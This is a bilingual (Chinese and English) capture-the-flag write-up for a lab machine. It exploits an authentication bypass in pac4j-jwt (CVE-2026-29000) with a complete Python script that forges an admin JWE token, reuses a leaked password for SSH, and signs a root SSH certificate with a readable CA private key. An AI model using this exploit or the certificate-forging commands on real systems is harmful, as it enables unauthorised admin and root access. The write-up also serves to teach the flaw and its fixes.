本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。 This document records a complete penetration testing (CTF/HTB) process. The attacker first used Nmap to scan and discovered that the target had ports 22 and 8080 open. In the web service on port 8080, it was found that the pac4j-jwt component was used, which contained an authentication bypass vulnerability (CVE-2026-29000). By exploiting this JWT validation logic flaw (signature not validated after decryption), the attacker forged an Admin-privileged Token to log into the backend and obtained the SSH credentials for the svc-deploy user. After logging into the server, it was discovered that the system trusted a local SSH CA certificate private key. The attacker used this private key to sign a temporary SSH certificate with root privileges, ultimately successfully obtaining highest-level access.

枚举

-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Mar 2026 07:48:35 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json

发现22,8080端口。

Web

8080端口中pac4j-jwt/6.0.3 搜索可以得到

CVE-2026-29000

CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。

下面从多个角度做一个概览:


一、漏洞基本信息

  • CVE编号:CVE-2026-29000
  • 组件:pac4j-jwt(pac4j安全框架JWT模块)
  • 漏洞类型:认证绕过 / JWT验证逻辑缺陷
  • 严重等级:Critical(CVSS约 9.1–10.0)
  • 披露时间:2026-03-04
  • 影响版本:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2
  • 修复版本:

  • 4.5.9
  • 5.7.9
  • 6.3.3

  • 二、漏洞核心问题

    漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误

    正常 JWT 认证流程:

  • 客户端发送 JWT
  • 服务端验证签名(JWS)
  • 如果是加密 JWT(JWE)
  • 但是漏洞版本存在一个问题:

    解密后没有强制验证签名。

    当内部 JWT 是 PlainJWT(无签名) 时:

  • toSignedJWT() 返回 null
  • 签名校验代码被跳过
  • 认证直接通过
  • 因此攻击者可以构造伪造 Token。


    三、攻击思路(高层)

    攻击者只需要:

    1️⃣ 获取服务器 RSA 公钥

    (很多系统会公开 JWKS endpoint)

    例如:

    /.well-known/jwks.json
    /pubkey

    2️⃣ 构造一个 PlainJWT

    例如:

    {
      "sub": "admin",
      "role": "admin"
    }

    3️⃣ 用服务器公钥加密生成 JWE

    4️⃣ 将该 Token 作为

    Authorization: Bearer <token>

    发送请求

    服务器解密后:

  • 发现不是 SignedJWT
  • 跳过签名校验
  • 直接读取 claims
  • 结果:

    攻击者成功伪造任意用户身份。


    四、漏洞影响范围

    这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛

    常见使用项目包括:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO 系统
  • API Gateway / IAM系统
  • 如果使用 JWT + pac4j-jwt 的服务可能受影响。


    五、攻击效果

    攻击者可以做到:

  • 任意用户登录
  • 伪造管理员身份
  • 绕过认证系统
  • 访问受保护 API
  • 获取敏感数据
  • 因为无需凭据:

    攻击复杂度非常低。


    六、漏洞本质

    本质是一个典型安全误区:

    “加密 ≠ 身份认证”

  • JWE:保证数据机密性
  • JWS:保证数据完整性和身份
  • 如果只做解密,不做签名验证:

    系统就无法确认 token 来源。


    七、修复方式

    官方建议:

    1 升级版本

    升级 pac4j-jwt:

    4.5.9
    5.7.9
    6.3.3

    修复内容:

  • 解密后强制检查 JWT 类型
  • 如果不是 SignedJWT → 拒绝认证

  • 2 临时缓解措施

    如果无法升级:

    可以做一些防护:

  • 禁止 alg: none
  • 拦截异常 JWE token
  • WAF检测 JWT 结构
  • 监控异常登录日志
  • 限制 JWT 公钥访问

  • 八、简单总结

    一句话总结这个漏洞:

    只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。

    属于:

  • 认证绕过
  • JWT验证逻辑漏洞
  • 高危漏洞
  • USER

    现在我们需要服务器的 RSA 公钥

    查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点

    • const API_BASE = '';
    • const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
    • const AUTH_ENDPOINT = '/api/auth/login';
    • const DASHBOARD_ENDPOINT = '/api/dashboard';
    • const USERS_ENDPOINT = '/api/users';
    • const SETTINGS_ENDPOINT = '/api/settings';
    curl http://principal.htb:8080/api/auth/jwks
    # 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

    并且发现

    // Role constants - must match server-side role definitions
    const ROLES = {
        ADMIN: 'ROLE_ADMIN',
        MANAGER: 'ROLE_MANAGER',
        USER: 'ROLE_USER'
    };

    使用官方脚本

    #!/usr/bin/env python3
    """CVE-2026-29000: pac4j-jwt Authentication Bypass"""
    
    import requests
    import json
    import base64
    import time
    import sys
    from jwcrypto import jwk, jwe
    
    TARGET = sys.argv[1]
    
    # Step 1: Fetch the RSA public key from JWKS
    print(f"[+] Fetching RSA public key from JWKS...")
    resp = requests.get(f"{TARGET}/api/auth/jwks")
    jwks_data = resp.json()
    key_data = jwks_data["keys"][0]
    pub_key = jwk.JWK(**key_data)    # **key_data: 解包字典数据为关键字参数
    print(f"[+] Successfully fetched RSA public key from JWKS")
    
    # Step 2: Craft a PlainJWT with admin claims
    def b64url_encode(data):
        return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
    
    now = int(time.time())
    header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
    payload = b64url_encode(json.dumps({
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600,
    }).encode())
    plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
    print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 
    
    # Step 3:Wrap in JWE encrypted with server's RSA public key
    jwe_token = jwe.JWE(
        plain_jwt.encode(),
        recipient=pub_key,
        protected=json.dumps({
            "alg": "RSA-OAEP-256",
            "enc": "A128GCM",
            "kid": key_data["kid"],
            "cty": "JWT",
        })
    )
    forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
    print(f"[+] Forged JWE token created")
    
    # Step 4: Access protected endpoints
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    print(f"[+] Accessing /api/dashboard...")
    resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
    print(f"[+] Status: {resp.status_code}")
    data = resp.json()
    print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
    
    print(f"[+] Token: {forged_token}")

    运行后得到token,我们查看app.js可以发现

    // Token management
    class TokenManager {
        static getToken() {
            return sessionStorage.getItem('auth_token');
        }
    
        static setToken(token) {
            sessionStorage.setItem('auth_token', token);
        }
    
        static clearToken() {
            sessionStorage.removeItem('auth_token');
        }
    
        static isAuthenticated() {
            return !!this.getToken();
        }
    
        static getAuthHeaders() {
            const token = this.getToken();
            return token ? { 'Authorization': `Bearer ${token}` } : {};
        }
    }
    

    token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token

    sessionStorage.setItem('auth_token', 'token');

    刷新即可进入后台

    在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名

    ➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
    SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
    SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
    SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

    ROOT

    svc-deploy@principal:~$ id
    # uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
    svc-deploy@principal:~$ ls /opt/principal/
    # app  deploy  ssh

    发现三个文件,并且在ssh中发现密钥

    svc-deploy@principal:~$ ls /opt/principal/ssh/
    # README.txt  ca	ca.pub
    svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
    # 返回:
    CA keypair for SSH certificate automation.
    
    This CA is trusted by sshd for certificate-based authentication.
    Use deploy.sh to issue short-lived certificates for service accounts.
    
    Key details:
    Algorithm: RSA 4096-bit
    Created: 2025-11-15
    Purpose: Automated deployment authentication

    这里提到了deploy.sh ,以及我们可以读取ca私钥

    find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件

    svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
    # Principal machine SSH configuration
    PubkeyAuthentication yes
    PasswordAuthentication yes
    PermitRootLogin prohibit-password
    TrustedUserCAKeys /opt/principal/ssh/ca.pub

    当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。

    所以我们可以使用伪造的证书以root身份登录SSH

    ssh-keygen -t ed25519 -f /tmp/pwn -N ""
    ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
    # ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
    # -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
    # -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
    # -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
    # -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
    # /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。

    最后:ssh -i /tmp/pwn root@localhost


    攻击链

    nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录

    Enumeration

    -> nmap -sC -sV -T4 10.129.229.236
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
    Nmap scan report for principal.htb (10.129.229.236)
    Host is up (0.42s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
    |_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
    8080/tcp open  http-proxy Jetty
    |_http-server-header: Jetty
    |_http-open-proxy: Proxy might be redirecting requests
    | fingerprint-strings:
    |   FourOhFourRequest:
    |     HTTP/1.1 404 Not Found
    |     Date: Sun, 15 Mar 2026 07:48:35 GMT
    |     Server: Jetty
    |     X-Powered-By: pac4j-jwt/6.0.3
    |     Cache-Control: must-revalidate,no-cache,no-store
    |     Content-Type: application/json

    Ports 22 and 8080 were discovered.

    Web

    Searching for pac4j-jwt/6.0.3 on port 8080 yields

    CVE-2026-29000

    CVE-2026-29000 is a critical authentication bypass vulnerability disclosed in 2026, affecting pac4j-jwt, the JWT module of the widely-used security framework pac4j in the Java ecosystem. This vulnerability allows an attacker to forge identity tokens, thereby directly logging into the system and even obtaining administrator privileges.

    Below is an overview from multiple perspectives:


    1. Basic Vulnerability Information

  • CVE ID: CVE-2026-29000
  • Component: pac4j-jwt (pac4j security framework JWT module)
  • Vulnerability Type: Authentication bypass / JWT validation logic flaw
  • Severity: Critical (CVSS approx 9.1–10.0)
  • Disclosure Date: 2026-03-04
  • Affected versions:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2
  • Fixed versions:

  • 4.5.9
  • 5.7.9
  • 6.3.3

  • 2. Core Issue of the Vulnerability

    The vulnerability occurs in the logical error when JwtAuthenticator processes encrypted JWT (JWE).

    Normal JWT authentication flow:

  • Client sends JWT
  • Server verifies signature (JWS)
  • If it is an encrypted JWT (JWE)
  • However, the vulnerable versions have a problem:

    Signature verification is not enforced after decryption.

    When the inner JWT is a PlainJWT (unsigned):

  • toSignedJWT() returns null
  • Signature validation code is skipped
  • Authentication passes directly
  • Thus, an attacker can construct a forged token.


    3. Attack Approach (High Level)

    The attacker only needs to:

    1️⃣ Obtain the server's RSA public key

    (Many systems publicly expose a JWKS endpoint)

    For example:

    /.well-known/jwks.json
    /pubkey

    2️⃣ Construct a PlainJWT

    For example:

    {
      "sub": "admin",
      "role": "admin"
    }

    3️⃣ Encrypt with the server's public key to generate a JWE

    4️⃣ Send the token as

    Authorization: Bearer <token>

    in the request

    After the server decrypts:

  • Discovers it is not a SignedJWT
  • Skips signature validation
  • Reads claims directly
  • Result:

    The attacker successfully forges an arbitrary user identity.


    4. Scope of Impact

    This vulnerability has a broad impact because pac4j is widely used in the Java ecosystem:

    Commonly used projects include:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO systems
  • API Gateway / IAM systems
  • Services using JWT with pac4j-jwt may be affected.


    5. Attack Effects

    An attacker can:

  • Log in as any user
  • Forge an administrator identity
  • Bypass authentication systems
  • Access protected APIs
  • Obtain sensitive data
  • Since no credentials are required:

    The attack complexity is very low.


    6. Essence of the Vulnerability

    The essence is a typical security misconception:

    "Encryption ≠ Authentication"

  • JWE: ensures data confidentiality
  • JWS: ensures data integrity and identity
  • If only decryption is performed without signature verification:

    The system cannot confirm the token's source.


    7. Fix

    Official recommendation:

    1. Upgrade Version

    Upgrade pac4j-jwt to:

    4.5.9
    5.7.9
    6.3.3

    Fix content:

  • Enforce JWT type check after decryption
  • If not SignedJWT → reject authentication

  • 2. Temporary Mitigation

    If upgrade is not possible:

    Some protective measures can be implemented:

  • Disallow alg: none
  • Intercept abnormal JWE tokens
  • WAF detection of JWT structure
  • Monitor abnormal login logs
  • Restrict JWT public key access

  • 8. Simple Summary

    One-sentence summary of this vulnerability:

    Using only the server's publicly available RSA public key, one can forge an arbitrary user login.

    It belongs to:

  • Authentication bypass
  • JWT validation logic flaw
  • High-risk vulnerability
  • USER

    Now we need the server's RSA public key.

    Reviewing the source code reveals http://principal.htb:8080/static/js/app.js, which exposes several endpoints.

    • const API_BASE = '';
    • const JWKS_ENDPOINT = '/api/auth/jwks'; // Fetches the public key
    • const AUTH_ENDPOINT = '/api/auth/login';
    • const DASHBOARD_ENDPOINT = '/api/dashboard';
    • const USERS_ENDPOINT = '/api/users';
    • const SETTINGS_ENDPOINT = '/api/settings';
    curl http://principal.htb:8080/api/auth/jwks
    # Returns {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

    And we also discover

    // Role constants - must match server-side role definitions
    const ROLES = {
        ADMIN: 'ROLE_ADMIN',
        MANAGER: 'ROLE_MANAGER',
        USER: 'ROLE_USER'
    };

    Using the official script

    #!/usr/bin/env python3
    """CVE-2026-29000: pac4j-jwt Authentication Bypass"""
    
    import requests
    import json
    import base64
    import time
    import sys
    from jwcrypto import jwk, jwe
    
    TARGET = sys.argv[1]
    
    # Step 1: Fetch the RSA public key from JWKS
    print(f"[+] Fetching RSA public key from JWKS...")
    resp = requests.get(f"{TARGET}/api/auth/jwks")
    jwks_data = resp.json()
    key_data = jwks_data["keys"][0]
    pub_key = jwk.JWK(**key_data)    # **key_data: Unpacks dictionary data as keyword arguments
    print(f"[+] Successfully fetched RSA public key from JWKS")
    
    # Step 2: Craft a PlainJWT with admin claims
    def b64url_encode(data):
        return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): Removes trailing equals signs from the byte string
    
    now = int(time.time())
    header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Converts dictionary to JSON string; encode(): Converts string to bytes
    payload = b64url_encode(json.dumps({
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600,
    }).encode())
    plain_jwt = f"{header}.{payload}." # Trailing dot (even if empty): Adds signature placeholder
    print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 
    
    # Step 3: Wrap in JWE encrypted with server's RSA public key
    jwe_token = jwe.JWE(
        plain_jwt.encode(),
        recipient=pub_key,
        protected=json.dumps({
            "alg": "RSA-OAEP-256",
            "enc": "A128GCM",
            "kid": key_data["kid"],
            "cty": "JWT",
        })
    )
    forged_token = jwe_token.serialize(compact=True) # compact=True: Serializes JWE object to compact format
    print(f"[+] Forged JWE token created")
    
    # Step 4: Access protected endpoints
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    print(f"[+] Accessing /api/dashboard...")
    resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
    print(f"[+] Status: {resp.status_code}")
    data = resp.json()
    print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
    
    print(f"[+] Token: {forged_token}")

    After running, we get the token. Reviewing app.js reveals

    // Token management
    class TokenManager {
        static getToken() {
            return sessionStorage.getItem('auth_token');
        }
    
        static setToken(token) {
            sessionStorage.setItem('auth_token', token);
        }
    
        static clearToken() {
            sessionStorage.removeItem('auth_token');
        }
    
        static isAuthenticated() {
            return !!this.getToken();
        }
    
        static getAuthHeaders() {
            const token = this.getToken();
            return token ? { 'Authorization': `Bearer ${token}` } : {};
        }
    }
    

    The token is managed via JavaScript in the frontend. By adding our token to the login console

    sessionStorage.setItem('auth_token', 'token');

    refreshing grants access to the admin panel.

    In the settings interface, we discover: encryptionKey: D3pl0y_$$H_Now42! and some usernames.

    ➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
    SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
    SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
    SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

    ROOT

    svc-deploy@principal:~$ id
    # uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
    svc-deploy@principal:~$ ls /opt/principal/
    # app  deploy  ssh

    Three files are discovered, and within ssh, a key is found.

    svc-deploy@principal:~$ ls /opt/principal/ssh/
    # README.txt  ca	ca.pub
    svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
    # Returns:
    CA keypair for SSH certificate automation.
    
    This CA is trusted by sshd for certificate-based authentication.
    Use deploy.sh to issue short-lived certificates for service accounts.
    
    Key details:
    Algorithm: RSA 4096-bit
    Created: 2025-11-15
    Purpose: Automated deployment authentication

    This mentions deploy.sh and indicates we can read the CA private key.

    find / -name "deploy.sh" 2>/dev/null does not find the file. Check the sshd configuration.

    svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
    # Principal machine SSH configuration
    PubkeyAuthentication yes
    PasswordAuthentication yes
    PermitRootLogin prohibit-password
    TrustedUserCAKeys /opt/principal/ssh/ca.pub

    When OpenSSH's TrustedUserCAKeys configuration does not include AuthorizedPrincipalsFile: any certificate signed by the trusted CA is accepted.

    Therefore, we can use a forged certificate to log in via SSH as root.

    ssh-keygen -t ed25519 -f /tmp/pwn -N ""
    ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
    # ssh-keygen (SSH Key Generation Tool): SSH key generation and management utility.
    # -s /opt/principal/ssh/ca (Sign with CA Key): The most critical parameter. Specifies the CA private key located at /opt/principal/ssh/ca to sign the certificate.
    # -I "pwn-root" (Identity): The certificate's identifier (Key ID). This string is recorded in server logs, typically for auditing (here, the identifier is "pwn-root").
    # -n root (Principals): Permission assignment. Specifies the username this certificate is allowed to log in as. Since root is specified, this certificate is only valid for logging into the root account.
    # -V +1h (Validity): Validity period. Specifies the certificate is valid for 1 hour from now. This is a clever approach to complete the attack without leaving a long-term backdoor.
    # /tmp/pwn.pub (Public Key to sign): Specifies the raw public key file you want to sign.

    Finally: ssh -i /tmp/pwn root@localhost


    Attack Chain

    nmap -> 8080 pac4j-jwt/6.0.3 -> CVE, auth bypass -> admin panel SSH leak -> sshd misconfiguration -> AuthorizedPrincipalsFile not set (means any user can login as any user) -> forge root certificate, login